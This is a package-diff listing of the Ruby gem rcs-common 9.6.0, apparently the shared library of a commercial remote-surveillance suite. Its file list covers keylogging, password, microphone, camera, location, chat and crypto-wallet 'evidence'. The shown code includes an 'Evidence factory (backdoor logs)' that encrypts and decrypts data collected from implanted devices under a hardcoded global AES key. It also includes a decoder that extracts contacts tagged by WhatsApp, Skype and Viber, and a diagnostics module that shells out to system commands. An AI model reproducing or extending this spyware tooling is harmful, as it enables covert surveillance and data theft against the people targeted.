rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,136 @@
1
+ require 'sys/filesystem'
2
+ require 'rcs-common/fixnum'
3
+
4
+ module RCS
5
+ module Diagnosticable
6
+ def execution_directory
7
+ File.expand_path(Dir.pwd)
8
+ end
9
+
10
+ def log_path
11
+ File.expand_path("./log", execution_directory)
12
+ end
13
+
14
+ def grouped_logs(glob: "#{log_path}/*", deepness: 2)
15
+ groups = Hash.new { |h, k| h[k] = [] }
16
+ regexp = /(rcs\-.+)\_\d{4}-\d{2}-\d{2}\.log|(mongo..log)/
17
+
18
+ Dir[glob].each do |path|
19
+ filename = File.basename(path)
20
+ group_name = filename.scan(regexp).flatten.compact.first
21
+ groups[group_name] << path if group_name
22
+ end
23
+
24
+ groups.keys.each do |group_name|
25
+ groups[group_name].sort! { |p1, p2| File.mtime(p2).to_i <=> File.mtime(p1).to_i }
26
+ groups[group_name] = groups[group_name][0..deepness - 1]
27
+ end
28
+
29
+ groups
30
+ end
31
+
32
+ def pretty_print(hash, out = $stdout)
33
+ string = JSON.pretty_generate(hash)
34
+ string = hide_addresses(string)
35
+ out.write(string)
36
+ out.write("\n")
37
+ end
38
+
39
+ def change_trace_level(level)
40
+ trace_yaml = "#{execution_directory}/config/trace.yaml"
41
+ raise "Unable to find file #{trace_yaml}" unless File.exists?(trace_yaml)
42
+ content = File.read(trace_yaml)
43
+ content.gsub!(/(name\s*:\s*logfile\n\s*level\s*:\s*)[A-Z]+/, '\1'+level.to_s.upcase)
44
+ File.open(trace_yaml, "wb") { |f| f.write(content) }
45
+ end
46
+
47
+ def get_version_info
48
+ version = File.read("#{execution_directory}/config/VERSION")
49
+ build = File.read("#{execution_directory}/config/VERSION_BUILD")
50
+ return version, build
51
+ end
52
+
53
+ def relevant_logs
54
+ list = grouped_logs.values + grouped_logs(glob: "#{log_path}/err/*", deepness: 7).values
55
+ list.flatten!
56
+ list
57
+ end
58
+
59
+ def windows?
60
+ RbConfig::CONFIG['host_os'] =~ /mingw/
61
+ end
62
+
63
+ def os_lang
64
+ return unless windows?
65
+ result = `reg query \"HKLM\\system\\controlset001\\control\\nls\\language\" /v Installlanguage`
66
+ result.scan(/REG_SZ\s*(.{4})/).flatten.first
67
+ end
68
+
69
+ def command_output(name)
70
+ cmd = (name =~ /rcs\-/) ? "ruby #{execution_directory}/bin/#{name}" : name
71
+ output = `#{cmd}`
72
+ "Output of command #{name}\n#{output}\n\n"
73
+ end
74
+
75
+ def config_files
76
+ paths = []
77
+ %w[VERSION VERSION_BUILD certs/*.crt certs/*.pem certs/*.key *.yaml *.lic *.crt *.pem gapi].each do |glob|
78
+ paths += Dir["#{execution_directory}/config/#{glob}"]
79
+ end
80
+ paths.flatten!
81
+ paths.uniq!
82
+ paths
83
+ end
84
+
85
+ def machine_info
86
+ hash = {}
87
+ keys = %w[build_os build_vendor build_cpu build RUBY_VERSION_NAME]
88
+ hash['rbconfig'] = RbConfig::CONFIG.reject { |key| !keys.include?(key) }
89
+ hash['os_lang'] = os_lang
90
+ hash['gem_list'] = `gem list`.split("\n")
91
+ hash['ENV'] = ENV.reject { |key| !%w[RUBY_VERSION PWD].include?(key) }
92
+
93
+ fs = Sys::Filesystem.stat(windows? ? "#{Dir.pwd[0]+":\\"}" : "/")
94
+
95
+ hash['filesystem'] = {
96
+ 'path' => fs.path,
97
+ 'size' => (fs.blocks * fs.block_size).to_s_bytes,
98
+ 'free' => (fs.blocks_free * fs.block_size).to_s_bytes,
99
+ }
100
+ hash
101
+ end
102
+
103
+ # Get the state (running, stopped, etc.) and the configuration information
104
+ # of all the Windows services that start with "RCS"
105
+ def services_state
106
+ states = ""
107
+ config = ""
108
+
109
+ `sc query state= all`.split("SERVICE_NAME:").each do |info|
110
+ name = info.scan(/\s*(.+)\n/).flatten.first
111
+
112
+ if name =~ /^rcs/i
113
+ state = info.scan(/STATE\s+:\s+\d+\s*(.+)\s*/).flatten.first
114
+ states << "#{name}: #{state}\n"
115
+ config << `sc qc #{name}`.scan(/SERVICE_NAME:\s*(.*)/m).flatten.last.to_s
116
+ end
117
+ end
118
+
119
+ return "#{states}\n#{config}"
120
+ end
121
+
122
+ def huge_log?(path)
123
+ File.size(path) > 52428800 # 50 megabytes
124
+ end
125
+
126
+ def hide_addresses(string)
127
+ if $options.respond_to?(:[]) and $options[:hide_addresses]
128
+ mask = "###.###.###.###"
129
+ string.gsub!(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/, mask)
130
+ string.gsub!(/([a-zA-Z0-9\-\.]+)\:(4444|443|80|2701\d)/, mask+':\2')
131
+ end
132
+
133
+ string
134
+ end
135
+ end
136
+ end
@@ -0,0 +1,261 @@
1
+ #
2
+ # Evidence factory (backdoor logs)
3
+ #
4
+
5
+ # relatives
6
+ require_relative 'crypt'
7
+ require_relative 'time'
8
+ require_relative 'utf16le'
9
+ require_relative 'evidence/common'
10
+
11
+ # RCS::Common
12
+ require 'rcs-common/trace'
13
+ require 'rcs-common/crypt'
14
+ require 'rcs-common/utf16le'
15
+
16
+ # system
17
+ require 'securerandom'
18
+
19
+ Dir[File.dirname(__FILE__) + '/evidence/*.rb'].each do |file|
20
+ require file
21
+ end
22
+
23
+ module RCS
24
+
25
+ class Evidence
26
+
27
+ extend Crypt
28
+ include Crypt
29
+ include RCS::Tracer
30
+
31
+ attr_reader :binary
32
+ attr_reader :size
33
+ attr_reader :content
34
+ attr_reader :name
35
+ attr_reader :timestamp
36
+ attr_reader :info
37
+ attr_reader :version
38
+ attr_reader :type
39
+ attr_writer :info
40
+
41
+ GLOBAL_KEY = "\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11"
42
+
43
+ def self.version_id
44
+ 2008121901
45
+ end
46
+
47
+ #def clone
48
+ # return Evidence.new(@key, @info)
49
+ #end
50
+
51
+ def initialize(key)
52
+ @key = key
53
+ @version = Evidence.version_id
54
+ end
55
+
56
+ def extend_on_type(type)
57
+ extend instance_eval "#{type.to_s.capitalize}Evidence"
58
+ end
59
+
60
+ def extend_on_typeid(id)
61
+ extend_on_type EVIDENCE_TYPES[id]
62
+ end
63
+
64
+ def generate_header(type_id, info)
65
+ tlow, thigh = info[:da].to_filetime
66
+ deviceid_utf16 = info[:device_id].to_utf16le_binary
67
+ userid_utf16 = info[:user_id].to_utf16le_binary
68
+ sourceid_utf16 = info[:source_id].to_utf16le_binary
69
+
70
+ add_header = ''
71
+
72
+ if respond_to?(:additional_header)
73
+ header = info.delete(:header)
74
+ add_header = header ? additional_header(header) : additional_header
75
+ end
76
+
77
+ additional_size = add_header.bytesize
78
+ struct = [Evidence.version_id, type_id, thigh, tlow, deviceid_utf16.bytesize, userid_utf16.bytesize, sourceid_utf16.bytesize, additional_size]
79
+ header = struct.pack("I*")
80
+
81
+ header += deviceid_utf16
82
+ header += userid_utf16
83
+ header += sourceid_utf16
84
+ header += add_header.to_binary
85
+
86
+ return header
87
+ end
88
+
89
+ def align_to_block_len(len)
90
+ rest = len % 16
91
+ len += (16 - rest % 16) unless rest == 0
92
+ len
93
+ end
94
+
95
+ def encrypt(data)
96
+ rest = align_to_block_len(data.bytesize) - data.bytesize
97
+ data += "a" * rest
98
+ return aes_encrypt(data, @key, PAD_NOPAD)
99
+ end
100
+
101
+ def decrypt(data)
102
+ return aes_decrypt(data, @key, PAD_NOPAD)
103
+ end
104
+
105
+ def append_data(data, len = data.bytesize)
106
+ [len].pack("I") + data
107
+ end
108
+
109
+ # factory to create a random evidence
110
+ def generate(type, common_info)
111
+ @name = SecureRandom.hex(16)
112
+ info = Hash[common_info]
113
+ info[:da] = Time.now.utc
114
+ info[:type] = type
115
+
116
+ # extend class on requested type
117
+ extend_on_type info[:type]
118
+
119
+ # header
120
+ type_id = EVIDENCE_TYPES.invert[type]
121
+ header = generate_header(type_id, info)
122
+ @binary = append_data(encrypt(header))
123
+
124
+ # content
125
+ if respond_to? :generate_content
126
+ content = info.delete(:content)
127
+ chunks = content ? generate_content(content) : generate_content
128
+ chunks.each do | c |
129
+ @binary += append_data( encrypt(c), c.bytesize )
130
+ end
131
+ end
132
+
133
+ return self
134
+ end
135
+
136
+ def size
137
+ @binary.bytesize
138
+ end
139
+
140
+ # save the file in the specified dir
141
+ def dump_to_file(dir)
142
+ # dump the file (using the @name) in the 'dir'
143
+ File.open(dir + '/' + @name, "wb") do |f|
144
+ f.write(@binary)
145
+ end
146
+ end
147
+
148
+ # load an evidence from a file
149
+ def load_from_file(file)
150
+ # load the content of the file in @content
151
+ File.open(file, "rb") do |f|
152
+ @binary = f.read
153
+ @name = File.basename f
154
+ end
155
+
156
+ return self
157
+ end
158
+
159
+ def read_uint32(data)
160
+ data.read(4).unpack("L").shift
161
+ end
162
+
163
+ def empty?(binary_string, header_length)
164
+ (binary_string.size == header_length + 4)
165
+ end
166
+
167
+ def deserialize(data)
168
+
169
+ raise EvidenceDeserializeError.new("no content!") if data.nil?
170
+ binary_string = StringIO.new data
171
+
172
+ # header
173
+ header_length = read_uint32(binary_string)
174
+
175
+ # check if we need to apply the global key (evidence is being imported)
176
+ if (header_length & 0x80000000) == 0x80000000
177
+ trace :debug, "USING GLOBAL KEY FOR EVIDENCE DECODING!"
178
+ @key = GLOBAL_KEY
179
+ header_length &= ~0x80000000
180
+ end
181
+
182
+ # if empty evidence, raise
183
+ raise EmptyEvidenceError.new("empty evidence") if empty?(binary_string, header_length)
184
+
185
+ # decrypt header
186
+ header_string = StringIO.new decrypt(binary_string.read header_length)
187
+ @version = read_uint32(header_string)
188
+ @type_id = read_uint32(header_string)
189
+ time_h = read_uint32(header_string)
190
+ time_l = read_uint32(header_string)
191
+ host_size = read_uint32(header_string)
192
+ user_size = read_uint32(header_string)
193
+ ip_size = read_uint32(header_string)
194
+ additional_size = read_uint32(header_string)
195
+
196
+ # check that version is correct
197
+ raise EvidenceDeserializeError.new("mismatching version [expected #{Evidence.version_id}, found #{@version}]") unless @version == Evidence.version_id
198
+
199
+ common_info = Hash.new
200
+ common_info[:dr] = Time.new.getgm
201
+ common_info[:da] = Time.from_filetime(time_h, time_l).getgm
202
+
203
+ common_info[:device] = header_string.read(host_size).utf16le_to_utf8 unless host_size == 0
204
+ common_info[:device] ||= ''
205
+ common_info[:user] = header_string.read(user_size).utf16le_to_utf8 unless user_size == 0
206
+ common_info[:user] ||= ''
207
+ common_info[:source] = header_string.read(ip_size).utf16le_to_utf8 unless ip_size == 0
208
+ common_info[:source] ||= ''
209
+
210
+ # extend class depending on evidence type
211
+ begin
212
+ common_info[:type] = EVIDENCE_TYPES[ @type_id ].to_s.downcase
213
+ extend_on_type common_info[:type]
214
+ rescue Exception => e
215
+ puts e.message
216
+ raise EvidenceDeserializeError.new("unknown type => #{@type_id.to_s(16)}, #{e.message}")
217
+ end
218
+
219
+ additional_data = header_string.read additional_size if additional_size > 0
220
+
221
+ yield additional_data if block_given?
222
+
223
+ # split content to chunks
224
+ chunks = Array.new
225
+ if common_info[:type] == 'command'
226
+ chunks << [binary_string.read]
227
+ else
228
+ until binary_string.eof?
229
+ len = read_uint32(binary_string)
230
+ content = binary_string.read align_to_block_len(len)
231
+
232
+ decoded_chunk = nil
233
+
234
+ begin
235
+ decoded_chunk = StringIO.new(decrypt(content)).read(len)
236
+ rescue Exception => ex
237
+ yield(chunks.join) if block_given?
238
+ raise EvidenceDeserializeError.new("Unable to decrypt chunck #{chunks.size}. Expected length is #{len}, content bytesize is #{content.bytesize}. #{ex.message}")
239
+ end
240
+
241
+ chunks << decoded_chunk
242
+ end
243
+ end
244
+
245
+ yield chunks.join if block_given?
246
+
247
+ # decode additional header
248
+ if respond_to? :decode_additional_header and additional_size != 0
249
+ additional_info = decode_additional_header(additional_data)
250
+ common_info.merge!(additional_info)
251
+ end
252
+
253
+ # decode evidence body
254
+ evidences = Array.new
255
+ action = decode_content(common_info, chunks) {|ev| evidences << ev}
256
+
257
+ return evidences, action
258
+ end
259
+ end
260
+
261
+ end # RCS::
@@ -0,0 +1,173 @@
1
+ require 'rcs-common/evidence/common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+
6
+ module AddressbookEvidence
7
+ def content
8
+ fields = { :first_name => ["John", "Liza", "Bruno"].sample,
9
+ :last_name => ["Doe", "Rossi", "Bianchi"].sample,
10
+ :mobile_phone_number => "+393380123456",
11
+ :home_phone_number => "+39024567890",
12
+ :email_1 => "test@me.com"}
13
+ AddressBookSerializer.new.serialize fields
14
+ end
15
+
16
+ def generate_content
17
+ [ content ]
18
+ end
19
+
20
+ def decode_content(common_info, chunks)
21
+ stream = StringIO.new chunks.join
22
+
23
+ until stream.eof?
24
+ info = Hash[common_info]
25
+ info[:data] ||= Hash.new
26
+
27
+ contact = AddressBookSerializer.new.unserialize stream
28
+
29
+ info[:data][:name] = contact.name
30
+ info[:data][:contact] = contact.contact
31
+ info[:data][:info] = contact.info
32
+ info[:data][:program] = contact.program
33
+ info[:data][:type] = contact.type
34
+ info[:data][:handles] = contact.handles unless contact.handles.empty?
35
+
36
+ yield info if block_given?
37
+ end
38
+ :delete_raw
39
+ end
40
+ end # ::AddressbookEvidence
41
+
42
+ module IaddressbookEvidence
43
+
44
+ VERSION_2 = 0x10000000
45
+ CONTACTLIST = 0x0000C021
46
+ CONTACTFILE = 0x0000C022
47
+
48
+ LOCAL_CONTACT = 0x80000000
49
+
50
+ PROGRAM_WHATSAPP = 0x00000001
51
+ PROGRAM_SKYPE = 0x00000002
52
+ PROGRAM_VIBER = 0x00000004
53
+ PROGRAM_MESSAGES = 0x00000008
54
+ PROGRAM_LINE = 0x00000010
55
+
56
+ def content
57
+ header = StringIO.new
58
+ header.write [CONTACTLIST | VERSION_2].pack('L')
59
+ header.write [0].pack('L') # len (ignored)
60
+ header.write [1].pack('L') # num records
61
+
62
+ header.write [CONTACTFILE].pack('L')
63
+ header.write [LOCAL_CONTACT].pack('L') # flags
64
+ header.write [0].pack('L') # len (ignored)
65
+
66
+ name = "FirstName".to_utf16le_binary_null
67
+ write_name(header, name)
68
+
69
+ name = "LastName".to_utf16le_binary_null
70
+ write_name(header, name)
71
+
72
+ header.write [CONTACTFILE].pack('L')
73
+ header.write [1].pack('L') # num_contacts
74
+
75
+ name = "+39123456789".to_utf16le_binary_null
76
+ write_number(header, name)
77
+
78
+ header.string
79
+ end
80
+
81
+ def generate_content
82
+ [content]
83
+ end
84
+
85
+ def decode_content(common_info, chunks)
86
+ stream = StringIO.new chunks.join
87
+
88
+ # ABLogStruct
89
+ magic_ver = read_uint32 stream
90
+ raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic_ver} != #{CONTACTLIST}]") unless magic_ver == CONTACTLIST or magic_ver == (CONTACTLIST | VERSION_2)
91
+
92
+ stream.read(4) # len, ignore
93
+ num_records = read_uint32 stream
94
+
95
+ (0..num_records-1).each do |i|
96
+
97
+ info = Hash[common_info]
98
+ info[:data] ||= Hash.new
99
+ info[:data][:program] = :phone
100
+
101
+ # ABFile
102
+ magic = read_uint32 stream
103
+ raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic} != #{CONTACTFILE}]") unless magic == CONTACTFILE
104
+ flags = read_uint32(stream) if (magic_ver & VERSION_2 != 0)
105
+
106
+ info[:data][:type] = :target if (flags & LOCAL_CONTACT != 0)
107
+ info[:data][:program] = :whatsapp if (flags & PROGRAM_WHATSAPP != 0)
108
+ info[:data][:program] = :skype if (flags & PROGRAM_SKYPE != 0)
109
+ info[:data][:program] = :viber if (flags & PROGRAM_VIBER != 0)
110
+ info[:data][:program] = :line if (flags & PROGRAM_LINE != 0)
111
+ info[:data][:program] = :messages if (flags & PROGRAM_MESSAGES != 0)
112
+
113
+ len = read_uint32 stream
114
+
115
+ #ABName (first name)
116
+ first_name = read_name(stream)
117
+
118
+ #ABName (last name)
119
+ last_name = read_name(stream)
120
+
121
+ info[:data][:name] = "#{first_name} #{last_name}"
122
+
123
+ #ABContacts
124
+ magic = read_uint32 stream
125
+ num_contacts = read_uint32 stream
126
+
127
+ (0..num_contacts-1).each do |i|
128
+ type, number = read_number(stream)
129
+ case type
130
+ when 0
131
+ info[:data][:info] ||= number.delete(' ')
132
+ info[:data][:handle] = number.delete(' ')
133
+ else
134
+ info[:data][:info] += "#{number}\n"
135
+ end
136
+ end
137
+
138
+ trace :debug, "IADDRESSBOOK #{info[:data]}"
139
+
140
+ yield info if block_given?
141
+ end
142
+
143
+ :keep_raw
144
+ end
145
+
146
+ def read_name(stream)
147
+ magic = read_uint32 stream
148
+ len = read_uint32 stream
149
+ stream.read(len).utf16le_to_utf8
150
+ end
151
+
152
+ def write_name(stream, name)
153
+ stream.write [CONTACTFILE].pack('L')
154
+ stream.write [name.bytesize].pack('L')
155
+ stream.write name
156
+ end
157
+
158
+ def read_number(stream)
159
+ magic = read_uint32 stream
160
+ type = read_uint32 stream
161
+ name = read_name(stream)
162
+ return type, name
163
+ end
164
+
165
+ def write_number(stream, number)
166
+ stream.write [CONTACTFILE].pack('L')
167
+ stream.write [0].pack('L') # type
168
+ write_name(stream, number)
169
+ end
170
+
171
+ end # ::IAddressbookEvidence
172
+
173
+ end # ::RCS